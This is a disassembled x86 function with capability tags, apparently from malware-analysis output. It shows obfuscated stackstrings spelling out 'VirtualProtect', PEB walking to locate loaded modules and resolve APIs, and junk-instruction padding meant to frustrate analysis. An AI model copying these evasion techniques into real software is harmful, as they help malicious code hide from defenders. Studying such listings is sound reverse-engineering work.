Function at 0x702ebcf1
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor ecx, 0x125bc
pop ecx
push ecx
sub ecx, 0x1623a
pop ecx
push edi
add edi, 0x15eb1
pop edi
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x1f44], edx
push 0
call dword [ebp - 0x1f44]
mov dword [ebp - 0x2780], 0xa
push edx
push ebx
add esp, 4
call 0x702ebcdb
add byte [eax + 0x3f], cl
inc eax
dec eax
cmp dword [ebx + 0x4e], eax
add esp, 4
or edx, 0x15507
call 0x702ebcf1
add byte [edx], dh
dec esp
inc ecx
xor al, 0x3e
inc esi
inc esp
add esp, 4
add edx, 0x13d9b
pop edx
mov eax, dword [ebp - 0x494]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x446], cl
mov edx, dword [ebp - 0xbfc]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x19a8], edx
mov dword [ebp - 0xee8], 0
push esi
push ecx
add esp, 4
jmp 0x702ebd33
pop esi
push esi
sub esi, 0x5ed8
or esi, 0x440c
pop esi
push esi
xor esi, 0x23fa
pop esi
push ecx
sub ecx, 0x15f03
or ecx, 0x7910
pop ecx
mov byte [ebp - 0xb5c], 0x56
mov byte [ebp - 0xb5b], 0x69
mov byte [ebp - 0xb5a], 0x72
mov byte [ebp - 0xb59], 0x74
mov byte [ebp - 0xb58], 0x75
mov byte [ebp - 0xb57], 0x61
mov byte [ebp - 0xb56], 0x6c
mov byte [ebp - 0xb55], 0x50
mov byte [ebp - 0xb54], 0x72
mov byte [ebp - 0xb53], 0x6f
mov byte [ebp - 0xb52], 0x74
push dword [esi + eax*8 - 0x7b]
scasd eax, dword es:[edi]
hlt
invalid
jmp dword [ebp - 0x3a]
test dword [eax + 0x63fffff4], esi
mov byte [ebp - 0xb4f], 0x74
mov byte [ebp - 0xb4e], 0
push eax
call 0x702ebdd1
add byte [edx + 0x39], cl
inc ebp
inc ecx
xor ecx, dword [eax + 0x33]
cmp al, 0x83
les eax, [ecx + eax*4]
rcl byte [ebx], 0x68
add dword [eax], eax
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x6df7
sub ecx, 0x92de
xor ecx, 0x12a98
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1f48], eax
mov ecx, dword [ebp - 0x1f48]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1f4c], edx
mov eax, dword [ebp - 0x1f4c]
mov dword [ebp - 0x1928], eax
push ebx
push ebx
add esp, 4
or ebx, 0x255e
and ebx, 0x1084b
pop ebx
push eax
push edx
add esp, 4
add eax, 0xe7f6
and eax, 0x5bdc
add eax, 0x3fc3
jmp 0x702ebe4b
pop eax
cmp dword [ebp - 0x1928], 0
jne 0x702ebe64
mov ecx, dword [ebp - 0x1928]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
or al, 0x89
test dword [ecx + esi*8], edi
invalid
call dword [ebx + 0x53]
add esp, 4
or ebx, 0x12610
jmp 0x702ebe87
xor ebx, 0x8c50
xor ebx, 0xeb1c
pop ebx
push esi
jmp 0x702ebe9b
pop esi
push eax
push ebx
add esp, 4
add eax, 0x9a69
pop eax
cmp dword [ebp - 0xec4], 0
jne 0x702ebec0
mov dword [ebp - 0x394], 0
jmp 0x702ec10b
mov ecx, dword [ebp - 0xec4]
mov dword [ebp - 0x5d4], ecx
push ecx
add ecx, 0x1927
or ecx, 0x4131
and ecx, 0x218e
and ecx, 0xe752
pop ecx
push edx
push edx
add esp, 4
xor edx, 0xa78a
sub edx, 0x4808
xor edx, 0x3d74
pop edx
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0xec0], edx
mov eax, dword [ebp - 0x5d4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xebc], ecx
xor edx, edx
mov word [ebp - 0x270], dx
xor eax, eax
mov word [ebp - 0x40], ax
push ebx
push edx
add esp, 4
call 0x702ebf3c
add byte [ebx + esi], dh
cmp eax, 0x354f4e45
cmp eax, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x702ebf6a
imul eax, dword [ecx], 0x3404eb00
aaa
dec eax
cmp eax, dword [ecx + 0x16f31cb]
add byte [ebx + 0x52], bl
or edx, 0x13933
pop edx
mov ecx, dword [ebp - 0xebc]
mov dx, word [ecx]
mov word [ebp - 0x12ba], dx
mov eax, dword [ebp - 0xebc]
add eax, 2
mov dword [ebp - 0xebc], eax
mov cx, word [ebp - 0x12ba]
mov word [ebp - 0x270], cx
mov edx, dword [ebp - 0xec0]
mov ax, word [edx]
mov word [ebp - 0x12bc], ax
mov ecx, dword [ebp - 0xec0]
add ecx, 2
mov dword [ebp - 0xec0], ecx
mov dx, word [ebp - 0x12bc]
mov word [ebp - 0x40], dx
push esi
and esi, 0x127db
or esi, 0x6f0f
pop esi
push edx
push edx
add esp, 4
sub edx, 0xcb9d
and edx, 0xee6a
pop edx
push edi
push ecx
add esp, 4
add edi, 0x5974
and edi, 0x51b8
pop edi
movzx eax, word [ebp - 0x40]
test eax, eax
jne 0x702ec000
movzx ecx, word [ebp - 0x270]
movzx edx, word [ebp - 0x40]
sub ecx, edx
mov dword [ebp - 0x1930], ecx
jmp 0x702ec05a
movzx eax, word [ebp - 0x270]
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x702ebf28
movzx edx, word [ebp - 0x270]
xor edx, 0x20
movzx eax, word [ebp - 0x40]
cmp edx, eax
je 0x702ebf28
movzx ecx, word [ebp - 0x270]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
jge 0x702ec044
mov dword [ebp - 0x192c], 0xffffffff
jmp 0x702ec04e
mov dword [ebp - 0x192c], 1
mov eax, dword [ebp - 0x192c]
mov dword [ebp - 0x1930], eax
cmp dword [ebp - 0x1930], 0
jne 0x702ec0a3
push ebx
push ecx
add esp, 4
or ebx, 0x10ecd
add ebx, 0x13660
pop ebx
push ebx
push ecx
add esp, 4
jmp 0x702ec082
push es
sub ebx, 0xba96
add ebx, 0x1056c
sub ebx, 0xd70a
pop ebx
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x394], ecx
jmp 0x702ec10b
push edi
push ebx
add esp, 4
add edi, 0xcec
pop edi
push eax
add eax, 0x101b3
xor eax, 0x1085d
and eax, 0x37a6
sub eax, 0x149a
pop eax
push ebx
push ebx
add esp, 4
xor ebx, 0xc63a
pop ebx
mov edx, dword [ebp - 0x5d4]
mov eax, dword [edx]
mov dword [ebp - 0x5d4], eax
mov ecx, dword [ebp - 0x5d4]
cmp ecx, dword [ebp - 0xec4]
je 0x702ec101
mov edx, dword [ebp - 0x5d4]
cmp dword [edx + 0x30], 0
jne 0x702ebecc
mov dword [ebp - 0x394], 0